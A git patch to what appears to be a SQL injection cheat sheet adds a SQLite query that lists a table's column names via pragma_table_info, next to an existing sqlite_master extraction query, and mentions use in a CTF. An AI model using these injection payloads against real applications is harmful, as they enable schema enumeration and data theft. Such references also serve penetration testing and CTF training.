From d5922f421c096c158dc3f099cce72544c2bd9d56 Mon Sep 17 00:00:00 2001 From: Pak Cyberbot <93365275+PakCyberbot@users.noreply.github.com> Date: Fri, 25 Aug 2023 15:24:52 +0500 Subject: [PATCH] Update SQLite Injection.md Column names of the specified table can be more easily extracted in a better output. Tested during the CTF --- SQL Injection/SQLite Injection.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index beb0443..924f611 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -52,6 +52,12 @@ For a clean output SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' ``` +Cleaner output + +```sql +SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name'); +``` + ## Boolean - Count number of tables ```sql